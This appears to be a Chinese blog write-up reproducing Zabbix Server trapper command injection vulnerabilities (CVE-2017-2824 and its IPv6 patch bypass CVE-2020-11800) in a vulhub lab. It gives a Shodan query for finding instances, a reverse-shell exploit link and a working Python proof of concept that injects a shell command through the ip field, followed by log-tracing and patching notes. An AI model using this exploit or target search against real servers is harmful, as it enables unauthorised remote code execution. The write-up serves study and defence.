CVE-2017-2824 / CVE-2020-11800 Zabbix Server trapper命令注入漏洞复现
漏洞简述
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
CVE-2017-2824 Zabbix 2.4.x版本的trapper command功能存在远程代码执行漏洞,特定的数据包可造成命令注入,进而远程执行代码,攻击者可以从一个Zabbix proxy发起请求从而触发漏洞。
CVE-2020-11800 是 CVE-2017-2824的补丁绕过。其Server端 trapper command 功能存在一处代码执行漏洞,而修复补丁并不完善,导致可以利用IPv6进行绕过,注入任意命令。
漏洞影响版本
- zabbix 2.4.x
- zabbix 3.0.x < 3.0.4
Shodan 搜索语法
http.favicon.hash:892542951

漏洞利用原理/条件
zabbix 调用script脚本时,没有对IP地址过滤,导致在注册host的数据包中的ip地址后面可以跟分号+命令的方式执行命令。
管理员开启了自动注册功能,接受任意主机注册。
漏洞exp
https://github.com/listenquiet/cve-2017-2824-reverse-shell
漏洞环境搭建
使用vulhub进行复现,vulhub对这两个CVE提供了两个环境。

使用admin/zabbix登入后台。,进入Configuration->Actions,将Event source调整为Auto registration,然后点击Create action,创建一个Action。


然后选择operations,选择Add host。


保存。这样就开启了自动注册功能,可以将自己的服务器注册为Agent。完成漏洞利用的前置条件。
漏洞复现
由于CVE-2017-2824 和 CVE-2020-11800都是同一个漏洞,前者用ipv4拼接命令注入,后者用ipv6拼接,原理是一样的。
import sys import socket import json import sys def send(ip, data): conn = socket.create_connection((ip, 10051), 10) conn.send(json.dumps(data).encode()) data = conn.recv(2048) conn.close() return data target = sys.argv[1] print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"})) # CVE-2020-11800用下面这个 # print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"})) for i in range(10000, 10500): data = send(target, {"request":"command","scriptid":1,"hostid":str(i)}) if data and b'failed' not in data: print('hostid: %d' % i) print(data)
这个是vulhub的提供的poc,如果不成功需要多执行几次。

命令执行成功。
溯源排查

执行成功的命令,在控制台有记录。
zabbix web日志位于:/var/log/apache2/access.log

由于该漏洞是通过socket创建的,未使用http协议,所以web日志中不会有记录。
修复方式
- zabbix升级到最新版本
- 目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://support.zabbix.com/browse/ZBX-17600
微信赞赏
支付宝赞赏
发表评论